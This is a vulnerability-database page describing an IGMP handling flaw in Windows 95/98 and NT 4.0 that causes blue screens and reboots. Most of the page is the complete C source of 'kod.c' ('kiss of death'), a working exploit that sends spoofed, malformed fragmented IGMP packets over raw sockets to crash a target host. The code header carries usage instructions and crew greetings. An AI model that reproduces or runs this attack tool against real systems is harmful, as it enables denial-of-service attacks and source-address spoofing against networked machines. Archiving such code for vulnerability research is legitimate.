Lucene search
K

Windows 95/98,Windows NT Enterprise Server <= 4.0 SP5,Windows NT Terminal Server <= 4.0 SP4,Windows NT Workstation <= 4.0 SP5 (2)

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 21 Views

Windows TCP/IP stacks vulnerability to malformed IGMP headers can cause unpredictable results and blue screen reboots. A C program 'kod.c' exploits this vulnerability, sending IGMP packets to cause the crash

Code

                                                source: http://www.securityfocus.com/bid/514/info
 
 
The Windows 98 and Windows 2000 TCP/IP stacks were not built to reliably tolerate malformed IGMP headers. When one is received, the stack will sometimes fail with unpredictable results ranging from a Blue Screen to instantaneous reboot. 

/*
::: kod.c (kiss of death) version 1.2
::: [author] kod.c bug found by klepto /
[email protected] / rewritten by ignitor / ignitor@EFnet
::: [stuph ] works on bsd/linux/*nix
::: [notes ] bluescreens windows users(98/98se) and kills
tcp stack
::: [m$ bug] windows handles igmp badly and this is the
result
::: [greets]
amputee/nizda/nyt/ignitor/skyline/codelogic/ill`/conio/egotr
ip/TFreak/napster
::: [greets] dist(test monkey)/naz(you rule period.)/#havok/
#irc_addict/#kgb/#eof/everyone
::: [action] ./kod &#60;host&#62; and BEWM!
::: [rant  ] there will be lots of rewrites to this.. just
get our name right!
de omnibus dubitandum
*/

/*
windows core dump output (*whee*)
An exception 0E has occurred at 0028:C14C9212 in VxD VIP
(01) +
00006C72.  This was called from 0028:C183FF54 in VcD PPPMAC
(04) +
000079BR.  It may be possible to continue normally(*not*).
*/


#include &#60;stdio.h&#62;
#include &#60;string.h&#62;
#include &#60;stdlib.h&#62;
#include &#60;netinet/in.h&#62;
#include &#60;netdb.h&#62;
#include &#60;sys/time.h&#62;
#include &#60;sys/types.h&#62;
#include &#60;sys/socket.h&#62;
#include &#60;arpa/inet.h&#62;
#include &#60;unistd.h&#62;

struct iphdr
{
  unsigned char ihl:4, version:4, tos;
  unsigned short tot_len, id, frag_off;
  unsigned char ttl, protocol;
  unsigned short check;
  unsigned int saddr, daddr;
};

struct igmphdr
{
  unsigned char type, code;
  unsigned short cksum;
  struct in_addr group;
};

unsigned short in_chksum(unsigned short *, int);
long resolve(char *);

long resolve(char *host)
{
  struct hostent *hst;
  long addr;

  hst = gethostbyname(host);
  if (hst == NULL)
    return(-1);

  memcpy(&addr, hst-&#62;h_addr, hst-&#62;h_length);

  return(addr);
}

int main(int argc, char *argv[])
{
  struct sockaddr_in dst;
  struct iphdr *ip;
  struct igmphdr *igmp;
  long daddr, saddr;
  int s, i=0, c, len;
  char buf[1500];

  if (argc &#60; 3)
  {
    printf(&#34;KOD spoofer by Ignitor and klepto\n&#34;);
    printf(&#34;Usage: %s &#60;src&#62; &#60;dst&#62;\n&#34;, *argv);
    return(1);
  }

  daddr = resolve(argv[2]);
  saddr = resolve(argv[1]);

  memset(buf, 0, 1500);
  ip = (struct iphdr *)&buf;
  igmp = (struct igmphdr *)&buf[sizeof(struct iphdr)];

  dst.sin_addr.s_addr = daddr;
  dst.sin_family = AF_INET;

  ip-&#62;ihl = 5;
  ip-&#62;version = 4;
  ip-&#62;tos = 0;
  ip-&#62;tot_len = htons(10933);
  ip-&#62;id = htons(48648);
  ip-&#62;ttl = 64;
  ip-&#62;protocol = IPPROTO_IGMP;
  ip-&#62;check = in_chksum((unsigned short *)ip, sizeof(struct
iphdr));
  ip-&#62;saddr = saddr;
  ip-&#62;daddr = daddr;

  s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  if (s == -1)
    return(1);

  printf(&#34;Sending IGMP packets: %s -&#62; %s\n&#34;, argv[1], argv
[2]);

  for (c=0;c&#60;2;c++)
  {
    len = 220;
    ip-&#62;frag_off = htons(0x73a);

    for (i=0;;i++)
    {
      if (sendto(s,&buf,len,0,(struct sockaddr *)&dst,sizeof
(struct sockaddr_in)) == -1)
      {
        perror(&#34;Error sending packet&#34;);
        exit(-1);
      }
      if (ntohs(ip-&#62;frag_off) == 0x2000)
        break;
      len = 1500;
      if (!i)
        ip-&#62;frag_off = htons(0x2681);
      else
        ip-&#62;frag_off = htons(ntohs(ip-&#62;frag_off) - 185);

      ip-&#62;check = in_chksum((unsigned short *)ip, sizeof
(struct iphdr));
    }
  }

  return(1);
}

unsigned short in_chksum(unsigned short *addr, int len)
{
   register int nleft = len;
   register int sum = 0;
   u_short answer = 0;

   while (nleft &#62; 1) {
      sum += *addr++;
      nleft -= 2;
   }

   if (nleft == 1) {
      *(u_char *)(&answer) = *(u_char *)addr;
      sum += answer;
   }

   sum = (sum &#62;&#62; 16) + (sum & 0xffff);
   sum += (sum &#62;&#62; 16);
   answer = ~sum;
   return(answer);
}


                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
21